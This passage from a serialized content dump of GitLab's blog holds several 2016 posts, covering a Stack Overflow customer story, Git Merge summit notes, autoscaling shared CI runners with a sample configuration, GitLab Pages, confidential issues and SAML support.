**Industry:** Support network for programming community\n- **Company Size:** 254\n- **Development Team:** 30\n- **Location:** Global. Stack Overflow HQ is in New York, but most developers\nwork remotely.\n\n## Background Info\n\n[Stack Overflow] is a question and answer site run by and for programmers.\nIt is part of the Stack Exchange network of Q&A sites.\nUnlike discussion forums, this platform is all about getting answers.\nThe concept is simple: good answers get up-voted by the community and rise to\nthe top so they can be easily viewed. Users who receive positive feedback\nreceive privileges including the ability to vote, comment on, and edit posts.\n\nAll questions get tagged with their subject areas. Users can click on the tag\nlist to see if their question has already been asked by a member of the community.\nOver time, users are building a library of detailed answers to programming questions.\n\n## Getting It Right\n\nWhen the team of developers at Stack Overflow set up their service for\nprogrammers, they knew they had to get the right source control solution.\nGet it right, and users would flock to the support resource; get it wrong, and\nthe response wouldn’t be so positive.\n\nStack Overflow senior developer Geoff Dalgas explains that when the team was\nlooking around for the best possible solution, it became clear that GitLab fit\nthe bill. Their initial choices of Git-web and Kiln were superseded by the\ncontinued development and improvements in performance offered by GitLab.\n\nStack Overflow adopted GitLab as their primary source control. It is used\non-premises and is currently self-managed. They have opted to use a self-hosted\nchat system, as none of their preferences are integrating with GitLab at present.\nAs basic GitLab users, the platform does not use the integrated CI into GitLab\n– they have opted for Team City.\n\nAs a Q&A network that is itself constantly growing and developing, it is\nessential that it has a solution on board that enables its users to build a\nlibrary of detailed, trustworthy answers to the questions posed by professional\nand amateur programmers. When asked to describe the special considerations for\nsoftware that the Stack Overflow development team must consider, Geoff Dalgas\nanswers succinctly: “Maintenance, reliability, and maintainability.”\n\n## Being Part of On-Going Developments\n\nGiven that fit, function and speed are essential for the programming industry,\nGitLab has become ingrained in the Stack Overflow culture. As early adopters,\nGeoff’s team has been part of the ongoing developments of GitLab.\nHe describes the increased development time, quicker code review and easier\ncollaboration as being the main changes that he has witnessed.\n\nAs active contributors to open source, Geoff and his colleagues have also seen\nan increase in the use of merge requests.\n\nThe developers at Stack Overflow use [LDAP integration](http://doc.gitlab.com/ee/integration/ldap.html#gitlab-ldap-integration).\nThe team have recently made the decision to implement [GitLab Geo](/releases/2016/02/22/gitlab-8-5-released/).\nThey are hoping that it could be a solution to their multi datacenter\nreplication, but Geoff reports that analysis is ongoing and it’s too soon to\ntell for sure. His colleagues feel that an improved search experience would be\na huge benefit to their work.\n\n## Tell us your story\n\nIs your team using Gitlab? We’d love to hear from you.\nEmail us at community@gitlab.com if you’re interested in sharing.\n\n[Stack Overflow]: https://stackoverflow.com/\n",{"slug":38456,"featured":6,"template":678},"stack-overflow-support-network","content:en-us:blog:stack-overflow-support-network.yml","Stack Overflow Support Network","en-us/blog/stack-overflow-support-network.yml","en-us/blog/stack-overflow-support-network",{"_path":38462,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38463,"content":38469,"config":38473,"_id":38475,"_type":16,"title":38476,"_source":17,"_file":38477,"_stem":38478,"_extension":20},"/en-us/blog/git-contributors-summit",{"title":38464,"description":38465,"ogTitle":38464,"ogDescription":38465,"noIndex":6,"ogImage":38466,"ogUrl":38467,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38467,"schema":38468},"Notes from the Git Merge Core Contributors Summit","Sytse, Job and Marin attended to represent GitLab and learn more about what is happening in the core Git community. Here are our notes and impressions from this event.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684654/Blog/Hero%20Images/notes.jpg","https://about.gitlab.com/blog/git-contributors-summit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Notes from the Git Merge Core Contributors Summit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2016-04-06\",\n      }",{"title":38464,"description":38465,"authors":38470,"heroImage":38466,"date":38471,"body":38472,"category":8943},[711],"2016-04-06","\n\nAt GitLab, we’re really proud to support the open source projects which underpin\nour service. Obviously, Git is a main part of absolutely everything we do.\nWe recently sponsored [Git Merge](http://git-merge.com/#sponsors), an event\norganized by GitHub and sponsored by Atlassian, Bloomberg, Compose, SAP, and of\ncourse, GitLab. Even competitive organizations must work together to improve\nupon and negotiate the direction of key open source software.\nOn the day before [Git Merge](http://www.git-merge.com), we joined the Git Merge\nCore Contributors Summit to discuss the direction of the project and new\ndevelopments.\n\n[Sytse](https://twitter.com/sytses), [Job](https://twitter.com/jobvo) and [Marin](https://twitter.com/maxlazio)\nattended to represent GitLab and learn more about what is happening in the core\nGit community. Here are our notes and impressions from this event.\n\n\u003C!--more-->\n\n![Git Core Contributor Summit - 2016 Git Merge](https://about.gitlab.com/images/blogimages/git-core-contrib-summit-2016-marin.jpg)\n\nPhoto by [Marin Jankovski](https://twitter.com/maxlazio)\n\n## Scaling Git  \n\nGit is growing in popularity, and projects are growing in size and complexity\nas larger organizations adopt Git. This has lead to efforts in improving Git\nperformance. Twitter reported an example repo with: 1m commits,\n1500 contributors, and 0.25m files. The main problem is, the checkout is slow.\nBooking.com reported an example repo which took 500ms to read all the references.  \n\nOne way to improve this is [Repacking](https://www.kernel.org/pub/software/scm/git/docs/git-repack.html)\nwhich greatly helps with performance.\n\n## Growing Git Adoption  \n\nAs Git expands into organizations and different types of projects, Git is being\nused by people who are less familiar with the command line. Having web based\ninterfaces, like GitLab, which allow users to perform Git commands through the\nweb UI is helping organizations adopt Git.  \n\n## Protecting the Git trademark  \n\nGit is a member of the [Software Freedom Conservancy](http://sfconservancy.org/)\nwhich helps to protect and defend free software. Taking care of software\ntrademarks for open source projects is important to protect the software and\nits users. The official Git website has guidelines about\n[trademark](https://git-scm.com/trademark) use which can help to prevent any\nmisuse of the trademark which could misguide users. Git project maintainers\nwill be making the decisions about which projects can make use of the Git trademark.  \n\nAs Git proliferates and grows, there would be attempts to misuse or mislead\nusers seeking Git related services and could be coerced into paying for free\nsoftware or using software which isn’t actually Git. Protecting the Git\ntrademark is work which requires more financial support to be sustainable.\n[Software Freedom Conservancy](http://sfconservancy.org/donate/) is seeking\nmore support.  \n\n## Diversity  \n\nDiversity was discussed at the event. Our team noted that all attendees were men,\nincluding those from our team. It was an unfortunate realization and one which\nhas inspired us to take action. We will continue to focus efforts on our own\n[diversity sponsorship program](/community/sponsorship/).\nWe also aim to support events in areas with\nlow-opportunity, to increase global diversity in technology.\n\nGreat projects which need more support:  \n\n- [Gnome’s Outreachy](https://www.gnome.org/outreachy/) supports interns.  \n- [GSOC](https://developers.google.com/open-source/gsoc/) - Google Summer of Code internships  \n\n\n## Submit Git - patches by email\n\nSubmit Git is a Scala app which is used to bridge between GitHub and the Git\nmailing list. Using Submit Git allows the Git mailing list to continue to use a\npatch submission process through a web UI. Users make a pull request on GitHub,\nand this lets you preview the patch and submit it to the mailing list.\nOf 40 contributors in the last year, 15 have been using it during this beta\nperiod. Soon, there will be updates to documentation to explain how to use\nSubmit Git to submit patches to Git, and pull requests will no longer be\naccepted. There will be an automatic notification when people attempt to open\npull requests on the [Git project](https://github.com/rtyley/submitgit).  \n\n## Submodules\n\nIt sounds like there may be improvements to submodules in Git.\nGoogle engineers expressed an interest in making\nthis better, such as with improvements to both the UI and initialization.\nThey are also interested in working to improve speed with parallel downloads.\nWhen this works, perhaps it could replace the Android repository tool called\n[Repo](https://source.android.com/source/developing.html)?\nWe look forward to seeing what happens next.\n\n\nWe'd like to thank [Peff](https://github.com/peff) for including us in the Git\nMerge Core Contributors Summit. We look forward to the next one!  \n\nPlease leave your opinions in the comments. We'd love to hear your thoughts.\n",{"slug":38474,"featured":6,"template":678},"git-contributors-summit","content:en-us:blog:git-contributors-summit.yml","Git Contributors Summit","en-us/blog/git-contributors-summit.yml","en-us/blog/git-contributors-summit",{"_path":38480,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38481,"content":38487,"config":38492,"_id":38494,"_type":16,"title":38495,"_source":17,"_file":38496,"_stem":38497,"_extension":20},"/en-us/blog/shared-runners",{"title":38482,"description":38483,"ogTitle":38482,"ogDescription":38483,"noIndex":6,"ogImage":38484,"ogUrl":38485,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38485,"schema":38486},"GitLab.com Shared Runners use Autoscaling","With the latest release of GitLab Runner 1.1, we've introduced autoscaling to help us meet the growing demand","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684484/Blog/Hero%20Images/agile.jpg","https://about.gitlab.com/blog/shared-runners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com Shared Runners use Autoscaling\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kamil Trzciński\"}],\n        \"datePublished\": \"2016-04-05\",\n      }",{"title":38482,"description":38483,"authors":38488,"heroImage":38484,"date":38490,"body":38491,"category":734},[38489],"Kamil Trzciński","2016-04-05","\n\n\n**2022 Update** - GitLab.com SaaS Runners has evolved since the time of this blog post. See the up-to-date documentation on the [SaaS Runners fleet for Linux, Windows, and Mac](https://docs.gitlab.com/ee/ci/runners/index.html). \n\n\nNot only is [Continuous Integration][docs-ci] built-in with GitLab CE and EE,\nbut we also offer [Shared Runners][docs-runners] to run your builds in CI *for\nfree* on GitLab.com. Up until recently, you may have experienced a short wait\ntime as your build got queued for a shared runner. With the [latest release of\nGitLab Runner 1.1][runner-release], we've introduced autoscaling to help us meet\nthe growing demand, and this is now available on GitLab.com. Less waiting, more\nbuilding!\n\n\u003C!--more-->\n\n## Scaling the service\n\nProjects hosted in GitLab can have CI tasks defined in their [`.gitlab-ci.yml`\nfiles](http://doc.gitlab.com/ce/ci/yaml/README.html). These tasks are performed\nby [*runners*][docs-runners] which are essentially virtual machines which run\nyour builds in Docker containers. These machines can run any of your builds that\nare compatible with Docker.\n\nOn other platforms, similar functionality is only available with an add-on\ncharge. In GitLab it's free to connect your own runners, and we also began\noffering free [Shared Runners][docs-runners] on GitLab.com. That means Shared\nRunners are freely available for projects on GitLab.com, whether they are\nprivate or public. However, up until recently users would have noticed their\nbuilds would be queued to run as they waited for a shared runner to become\navailable for work.\n\nToday we are extending our offering, enabling the [recently announced][runner-release]\nautoscaling feature. This will reduce the build times and also reduce the time\nrequired to allocate a new available machine.\n\nAs of today, the Shared Runners for GitLab.com use the new GitLab Runner 1.1.\nGitLab Runner is configured in autoscaling mode with distributed cache and\nDocker registry proxy for Docker images.\n\n## Using Shared Runners\n\nYou will be able to continue using the Shared Runners for testing and deploying\nyour private projects.\n\nThe Shared Runners will continue to be used to build your static pages that\nare served by [GitLab Pages][docs-pages].\n\n## The machines\n\nAll your builds run on [Digital Ocean](https://www.digitalocean.com/) 4GB\ninstances, with CoreOS and the latest Docker Engine installed.\n\nYour builds will always be run on fresh machines. This will effectively\neliminate possible security issues, as there is no potential of breaking\nout of the container.\n\n## The tags\n\nAll Shared Runners are tagged with `shared`, `docker` and `linux`.\n\nYou can use these tags in your `.gitlab-ci.yml` file to limit which runners are\nused for specific jobs:\n\n```\ntest:\n  ...\n  tags:\n  - shared\n\ndeploy:\n  ...\n  tags:\n  - my_private_runner\n```\n\nThe above script will configure GitLab to always run your tests on shared\nrunners, and run deployments only on your specific runner, registered with\na `my_private_runner` tag.\n\n## What has changed\n\nPreviously, runners were configured to always start the `mysql`, `postgres`,\n`redis`, and `mongodb` services.\nHowever, we are aware that most of our users don't need to use all (or even any)\nof these services, and have removed them from the default configuration.\n\nIf your builds _do_ require one or more of these services, your builds may start\nto fail unexpectedly. Modify your `.gitlab-ci.yml` file to add the services\nrequired by your application:\n\n```\nservices:\n- mysql\n- postgres\n- redis\n- mongodb\n\ntests:\n  script: run-my-tests\n  ...\n```\n\n## Final configuration\n\nYou may be interested what GitLab Runner [config.toml][config-toml] looks like.\nIt's really simple!\n\n```\n[[runners]]\n  name = \"docker-auto-scale\"\n  limit = X\n  url = \"https://gitlab.com/ci\"\n  token = \"SHARED_RUNNER_TOKEN\"\n  executor = \"docker+machine\"\n  [runners.docker]\n    image = \"ruby:2.1\"\n    privileged = false\n    volumes = [\"/cache\", \"/usr/local/bundle/gems\"]\n  [runners.machine]\n    IdleCount = 20\n    IdleTime = 1800\n    MaxBuilds = 1\n    MachineDriver = \"digitalocean\"\n    MachineName = \"machine-%s-digital-ocean-4gb\"\n    MachineOptions = [\n      \"digitalocean-image=coreos-beta\",\n      \"digitalocean-ssh-user=core\",\n      \"digitalocean-access-token=DIGITAL_OCEAN_ACCESS_TOKEN\",\n      \"digitalocean-region=nyc2\",\n      \"digitalocean-size=4gb\",\n      \"digitalocean-private-networking\",\n      \"engine-registry-mirror=http://IP_TO_OUR_REGISTRY_MIRROR\"\n    ]\n  [runners.cache]\n    Type = \"s3\"\n    ServerAddress = \"IP_TO_OUR_CACHE_SERVER\"\n    AccessKey = \"ACCESS_KEY\"\n    SecretKey = \"ACCESS_SECRET_KEY\"\n    BucketName = \"runner\"\n```\n\nThe above configuration says that the VM will be used only once, making your builds secure.\nWe will always have 20 machines waiting to pick up a new build.\nWe use Digital Ocean 4GB machine in NYC2, with CoreOS Beta and Docker 1.9.1 installed.\nThe runner is configured to use [Docker Hub Registry Mirror][docker-mirror] and [Distributed runners caching][docker-caching].\n\nHappy building!\n\n## Live webcast: GitLab CI\n\nSign up for our webcast on April 14th, which includes an overview and tutorial\nabout using GitLab CI. Join to meet with the GitLab CI team and get your questions\nanswered live!\n\n- Date: Thursday, April 14, 2016\n- Time: 5pm (17:00) UTC; 12pm EST; 9am PST\n- [Register here](http://page.gitlab.com/apr-2016-gitlab-intro-ci-webcast.html)\n\nCan't make it? Register anyway, and we'll send you a link to watch it later!\n\n[docs-ci]: http://doc.gitlab.com/ce/ci/README.html\n[docs-pages]: http://doc.gitlab.com/ee/pages/README.html\n[docs-runners]: http://doc.gitlab.com/ce/ci/runners/README.html\n[runner-release]: /releases/2016/03/29/gitlab-runner-1-1-released/\n[docker-mirror]: https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/configuration/autoscale.md#distributed-docker-registry-mirroring\n[docker-caching]: https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/configuration/autoscale.md#distributed-runners-caching\n[config-toml]: https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/configuration/advanced-configuration.md\n",{"slug":38493,"featured":6,"template":678},"shared-runners","content:en-us:blog:shared-runners.yml","Shared Runners","en-us/blog/shared-runners.yml","en-us/blog/shared-runners",{"_path":38499,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38500,"content":38505,"config":38509,"_id":38511,"_type":16,"title":38512,"_source":17,"_file":38513,"_stem":38514,"_extension":20},"/en-us/blog/gitlab-pages-get-started",{"title":38501,"description":38502,"ogTitle":38501,"ogDescription":38502,"noIndex":6,"ogImage":38323,"ogUrl":38503,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38503,"schema":38504},"Get Started with GitLab Pages","We've since added some great resources to help you get started with Gitlab Pages, including this handy quickstart guide.","https://about.gitlab.com/blog/gitlab-pages-get-started","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get Started with GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Achilleas Pipinellis\"}],\n        \"datePublished\": \"2016-04-04\",\n      }",{"title":38501,"description":38502,"authors":38506,"heroImage":38323,"date":38507,"body":38508,"category":734},[35789],"2016-04-04","\n\nWith [GitLab Pages][docs-pages] you can host your static website for free.\nWe added GitLab Pages in GitLab Enterprise Edition (EE) 8.3, and\nthen added support for custom domains and TLS certificates in GitLab EE 8.5. We\nmade this service freely available to users on [GitLab.com](https://gitlab.com),\nwhich is our hosted GitLab EE service, offering unlimited and free public or\nprivate projects.\n\nWe've since added some great resources to help you get started, including this\nhandy [quickstart guide][quickstart].\n\n\u003C!-- more -->\n\n## What you need to know about GitLab Pages\n\n1. There are two kinds of Pages:\n    - User or group Pages\n    - Project Pages\n2. You can use [any static site generator][staticgen]\n3. You can connect custom domains and TLS certificates to secure your domains\n4. The service is completely free as part of GitLab.com\n\n## New resources to learn how to use GitLab Pages\n\nWe added improved documentation to help you get your site set up.\n\n- GitLab Pages Quick Start Guide: https://pages.gitlab.io\n- Documentation: [GitLab Pages User guide][docs-pages]\n- Documentation: [GitLab Pages Admin guide][docs-adminpages]\n\nWe also [added a group][group] with a number of example GitLab Pages projects.\n\n![GitLab Pages example projects](https://about.gitlab.com/images/blogimages/gitlab-pages-examples.png)\n\nYou can easily get started with a [Plain HTML](https://gitlab.com/pages/plain-html)\nsite, but you can do much more.\nThe range of examples show that GitLab can support *any static site generator*.\nYou name the generator, you can build it with GitLab!\n\n- [Jekyll](https://gitlab.com/pages/jekyll)\n- [Pelican](https://gitlab.com/pages/pelican)\n- [Hugo](https://gitlab.com/pages/hugo)\n- [Middleman](https://gitlab.com/pages/middleman)\n- [Hexo](https://gitlab.com/pages/hexo)\n- [Brunch](https://gitlab.com/pages/brunch)\n- [Metalsmith](https://gitlab.com/pages/metalsmith)\n- [Harp](https://gitlab.com/pages/harp)\n\nAll of this is made possible with [GitLab CI][ci]. If you'd like to know more,\nsign up for our webcast below!\n\n## Need some help to get started?\n\nWe'd love your feedback on our [GitLab Pages Quick Start][quickstart] guide.\nIf you have any questions you can submit them in the comments,\nor on the [issue tracker] for the GitLab Pages Quick Start Guide project.\n\n## Live webcast: GitLab CI\n\nSign up for our webcast on April 14th, which includes an overview and tutorial\nabout using GitLab CI. Meet people from the GitLab CI team and get your questions\nanswered live!\n\n- Date: Thursday, April 14, 2016\n- Time: 5pm (17:00) UTC; 12pm EST; 9am PST\n- [Register here](http://page.gitlab.com/apr-2016-gitlab-intro-ci-webcast.html)\n\nCan't make it? Register anyway, and we'll send you a link to watch it later!\n\n[issue tracker]: https://gitlab.com/pages/pages.gitlab.io/issues\n[docs-pages]: http://doc.gitlab.com/ee/pages/README.html\n[docs-adminpages]: http://doc.gitlab.com/ee/pages/administration.html\n[quickstart]: https://pages.gitlab.io\n[group]: https://gitlab.com/groups/pages\n[ci]: /solutions/continuous-integration/ [staticgen]: https://www.staticgen.com/\n",{"slug":38510,"featured":6,"template":678},"gitlab-pages-get-started","content:en-us:blog:gitlab-pages-get-started.yml","Gitlab Pages Get Started","en-us/blog/gitlab-pages-get-started.yml","en-us/blog/gitlab-pages-get-started",{"_path":38516,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38517,"content":38523,"config":38527,"_id":38529,"_type":16,"title":38530,"_source":17,"_file":38531,"_stem":38532,"_extension":20},"/en-us/blog/feature-highlihght-confidential-issues",{"title":38518,"description":38519,"ogTitle":38518,"ogDescription":38519,"noIndex":6,"ogImage":38520,"ogUrl":38521,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38521,"schema":38522},"Feature Highlight: Confidential issues","Since GitLab 8.6, in both Community and Enterprise edition, there is a small checkbox available when you create or edit an issue, allowing you to mark an issue as confidential.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684753/Blog/Hero%20Images/door.jpg","https://about.gitlab.com/blog/feature-highlihght-confidential-issues","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: Confidential issues\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Douglas Alexandre\"}],\n        \"datePublished\": \"2016-03-31\",\n      }",{"title":38518,"description":38519,"authors":38524,"heroImage":38520,"date":38525,"body":38526,"category":8943},[13833],"2016-03-31","\n\nSince GitLab 8.6, in both Community and Enterprise edition, there is a small\ncheckbox available when you create or edit an issue, allowing you to mark an\nissue as confidential.\n\nIn some ways it’s a simple feature, but there are complex considerations.\nThe main point is to keep the confidential issues secure.\nHowever, taking care of those considerations caused some problems during\ndevelopment which are typical when you develop a feature for a relatively\nlong time (in this case two weeks). We'll look at that in this feature highlight.\n\n\u003C!-- more -->\n\n## About Confidential Issues\n\nIn the course of maintaining a project, it may be necessary to keep some\ninformation from public view. A typical use case for confidential issues would\nbe a security report. Different projects support different ways to report\nsecurity issues, so if someone needed to report a security issue, they would\nhave to:\n\n- Follow the instructions for security vulnerabilities, if there are any.\n- File an issue with their findings and a request to get in contact with the\n  project maintainer.\n- Find other means to contact the maintainer.\n\nIn general, most of the projects advise to not use the issue tracker, and\ninstead send an email to a specific email address. As you might imagine before\nthis release we, as an open source project, advised the same\n[security vulnerability disclosure][disclosure] in our contributing guide:\n\n> Please report suspected security vulnerabilities in private to\nsupport@gitlab.com, also see the disclosure section on the GitLab.com website.\nPlease do NOT create publicly viewable issues for suspected security\nvulnerabilities.\n\nThis generated a lot of overhead.\n\nBehind the scenes, when we got a security report email, we would immediately\ncreate an issue in our internal issue tracker to discuss possible fixes. So in\nthat case, we needed to keep in track two issues trackers: a public one on\nGitLab.com and another private. In addition, the process to report a security\nissue would be more complex than it is now. First, you need to discover how to\nreport the issue, and then report the issue itself.\n\nNow, with Confidential Issues, the reporter can mark an issue as confidential\nwhen creating or editing an issue, and only project members can see the issue,\nas well as those who are assigned to it. As it turns out, the process is\nconsiderably easier, since reporters don't need to find how to report security\nissues anymore, and we don't need to work on two different issue trackers for\nthe vulnerability disclosures.\n\nWhen an issue is marked as confidential, it is only visible to the team members.\nIt will be hidden from the public view, which means the issue tracker, the\nactivity feed, the milestone views, the auto-complete options, etc. Even if you\nget a `@mention`, and you don’t have explicit access to the project, you won't\nreceive any kind of notification (in this case emails, and todos).\n\n## Behind the scenes: Resolving merge conflicts as you go\n\nWhile this is a simple feature, it created an interesting problem, and I'm not\ntalking code-wise.\n\nBecause it causes lots of concern about security, we needed to very careful\nwith this. I had the branch open for a relatively long time (about two weeks),\nand over time, I was running into merge conflicts almost daily. My work was\naffected by other features being developed at the same time, for example\nsubscribe to labels. This happens very often if you have a merge request open\nfor a long time.\n\nI do try and avoid this when I can. I check everyday if my merge request has\nconflicts and I resolve these as I work, that is, instead of waiting until\nthe final release to merge.\n\nIt also helps a lot to do development with automated tests. As you work in\nparallel with other developers and constantly update the feature, you can tell\nif something is going to break.\n\nNormally, you don’t work a long time on issues like this but in this case it\nwas unavoidable due to the security nature of the feature. Again, using tests\nmade this a lot easier.\n\n## More about GitLab 8.6\n\nThis *confidential issues* feature is just one of the many recent changes in GitLab.\nFind out more [about our latest release, 8.6][release] with new improvements\nand features.\n\n\n[disclosure]: https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md#security-vulnerability-disclosure\n[release]: /releases/2016/03/22/gitlab-8-6-released/\n",{"slug":38528,"featured":6,"template":678},"feature-highlihght-confidential-issues","content:en-us:blog:feature-highlihght-confidential-issues.yml","Feature Highlihght Confidential Issues","en-us/blog/feature-highlihght-confidential-issues.yml","en-us/blog/feature-highlihght-confidential-issues",{"_path":38534,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38535,"content":38541,"config":38546,"_id":38548,"_type":16,"title":38549,"_source":17,"_file":38550,"_stem":38551,"_extension":20},"/en-us/blog/feature-highlight-saml",{"title":38536,"description":38537,"ogTitle":38536,"ogDescription":38537,"noIndex":6,"ogImage":38538,"ogUrl":38539,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38539,"schema":38540},"Feature Highlight: SAML and its future within GitLab","In this blog post I'll give you an overview of what I've been working on, how it affects GitLab, and what we plan to do with SAML in the future.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684764/Blog/Hero%20Images/galaxy-small.jpg","https://about.gitlab.com/blog/feature-highlight-saml","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: SAML and its future within GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patricio Cano\"}],\n        \"datePublished\": \"2016-03-30\",\n      }",{"title":38536,"description":38537,"authors":38542,"heroImage":38538,"date":38544,"body":38545,"category":8943},[38543],"Patricio Cano","2016-03-30","\n\nAs a Service Engineer I'm in constant contact with customers, listening to their\nneeds, and I've noticed a steadily-increasing interest in SAML from our\nEnterprise Customers. That inspired me to dive a little deeper into the topic in\nan effort to improve our integration with SAML and to add better documentation.\nI hope this helps our customers and our community to better understand this\nfeature.\n\nIn this blog post I'll give you an overview of what I've been working on, how it\naffects GitLab, and what we plan to do with SAML in the future. Our plan is to\nbring SAML up to par with the features that LDAP offers within GitLab.\n\n\u003C!-- more -->\n\n## What is SAML?\n\nSAML stands for Security Assertion Markup Language. It is an XML standard that\nallows secure web domains to exchange user authentication and authorization data.\nUsing SAML, an online service provider can contact a separate online identity\nprovider to authenticate users who are trying to access secure content.\n[[1]](https://developers.google.com/google-apps/sso/saml_reference_implementation)\n\nThis gives you the ability to add users to your service without having to know\nanything about them beforehand. You just need to trust the identity provider.\n\nIt also provides you with the ability to enable Single Sign On (SSO) for your\nGitLab instance, allowing your users to access your GitLab instance without\nhaving to create a new account and set a password.\n\nHere is an example on how the SAML request and response work. In this example\nGitLab would be the \"Service Provider\":\n\n![SAML Workflow Example](https://about.gitlab.com/images/saml_workflow_vertical.gif)\n\n[Public domain image from Wikipedia](https://en.wikipedia.org/wiki/SAML_2.0#/media/File:Saml2-browser-sso-post.gif)\n\n## SAML & GitLab\n\n### The beginnings\n\nGitLab first introduced SAML support in version [7.12](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/722/diffs)\nvia a contribution from our amazing community. The feature was contributed by\n[CERN](http://home.cern/) almost 10 months ago. Since the original contribution,\nnot much changed around the SAML support offered by GitLab. But interest from\nour users and our customers increased. You can check all SAML related merge\nrequests\n[here](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests?utf8=%E2%9C%93&issue_search=saml&state=merged&scope=all&assignee_id=&author_id=&milestone_id=&label_id=).\n\nDue to the increased interest, I decided to dive into all the parts required to\nget GitLab to speak SAML. Here I encountered `omniauth-saml`, a project with thousands\nof downloads that has been dormant for the past 6 months.\n\n### Reviving omniauth-saml\n\nThe `omniauth-saml` gem was originally developed and maintained by\n[Practically Green](http://www.wespire.com/), but in the last couple of months\nit lost momentum from its maintainers.\nThe gem on which this one is based, `ruby-saml`, started to add new features\nrecently and merge requests were made on the `omniauth-saml` repo to add these\nnew features as well, but they went without review from the maintainers\nfor quite some time.\n\nLuckily the maintainers realized that there was still a lot of interest in the\n`omniauth-saml` gem and [decided](https://github.com/omniauth/omniauth-saml/issues/67)\nto give control of the gem to the community. Since I was one of the people\ninvolved in the latest merge requests, I was included in the list of people\ngiven owner access. This allowed a small group of passionate people to continue\nthe amazing work that the developers at Practically Green started almost 5\nyears ago.\n\nOnce this process was completed we immediately got to work reviewing pending pull\nrequests, asking community members to update their code to resolve conflicts,\nsolving old issues, updating dependencies, and adding a continuous integration\nservice. All this work culminated a few weeks ago when we released `omniauth-saml`\nversion [1.5.0](https://github.com/omniauth/omniauth-saml/blob/master/CHANGELOG.md#150-2016-02-25)\nwith support for [Custom Attributes](http://doc.gitlab.com/ce/integration/saml.html#attribute_statements),\nbetter error handling, and a couple of bug fixes.\n\nThe inclusion of these features, especially the Custom Attributes, are of great\nuse to GitLab users. You no longer need to change your Identity Provider (IdP)\nserver to match the parameters that GitLab is expecting, you can now tell\n`omniauth-saml`, and therefore GitLab, where to look for them.\n\nGitLab relies on [`omniauth-saml`](https://github.com/omniauth/omniauth-saml) to\nprovide the integration with a SAML IdP. It also uses\n[Devise](https://github.com/heartcombo/devise) as an authentication platform.\nDevise allows you to extend its authentication mechanism using Omniauth.\n`omniauth-saml` is a strategy that allows Omniauth to retrieve user information\nfrom a SAML IdP and relay this information to GitLab to either create a new user,\nor bind this new authentication mechanism to an existing user (if GitLab is\n[configured](http://doc.gitlab.com/ce/integration/saml.html) to do so).\n\nAlong with the inclusion of better SAML documentation, these changes will help\nusers and admins better integrate their GitLab installation with their SAML provider,\nand more easily detect and troubleshoot any errors.\n\n## The future\n\nWe recently started [separating SAML](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2882/)\nfrom the rest of the regular Omniauth providers to give us some room to improve\nthe integration between SAML and GitLab.\n\nAt the moment SAML only functions as an authentication provider, but with SAML 2.0\n(the only version of SAML supported by GitLab) you can also retrieve Group Membership\ninformation from the Identity Provider, if the IdP server supports this feature\nand is configured to respond with this information. For this to work, the\nmembership information needs to be added to the SAML response as a SAML\nAttribute in the generated SAML 2.0 Assertion.\n\nIf we leverage this feature, we would be able to manage GitLab Group Memberships\nvia SAML, as we do now for LDAP within Enterprise Edition. This would allow\nadmins to offload the management of user groups to a different service, offer\ntheir users an SSO system, and not have to worry about setting up LDAP as well\nas SAML to accomplish both. For this we will need to use `ruby-saml` directly.\n\n### ruby-saml\n\n[`ruby-saml`](https://github.com/onelogin/ruby-saml) is a Ruby library for\nimplementing client-side SAML authorization. `omniauth-saml` relies on this library\nfor initialization and validation of a SAML request/response protocol. `ruby-saml`\nis maintained by the amazing people at [OneLogin](https://www.onelogin.com/).\n\n",{"slug":38547,"featured":6,"template":678},"feature-highlight-saml","content:en-us:blog:feature-highlight-saml.yml","Feature Highlight Saml","en-us/blog/feature-highlight-saml.yml","en-us/blog/feature-highlight-saml",{"_path":38553,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38554,"content":38559,"config":38564,"_id":38566,"_type":16,"title":38567,"_source":17,"_file":38568,"_stem":38569,"_extension":20},"/en-us/blog/webcast-continuous-integration",{"title":38555,"description":38556,"ogTitle":38555,"ogDescription":38556,"noIndex":6,"ogImage":38196,"ogUrl":38557,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38557,"schema":38558},"Join us for a live tutorial about GitLab CI","Join the GitLab CI team to ask questions and find out how to get the most out of the built-in continuous integration with GitLab.","https://about.gitlab.com/blog/webcast-continuous-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join us for a live tutorial about GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather McNamee\"}],\n        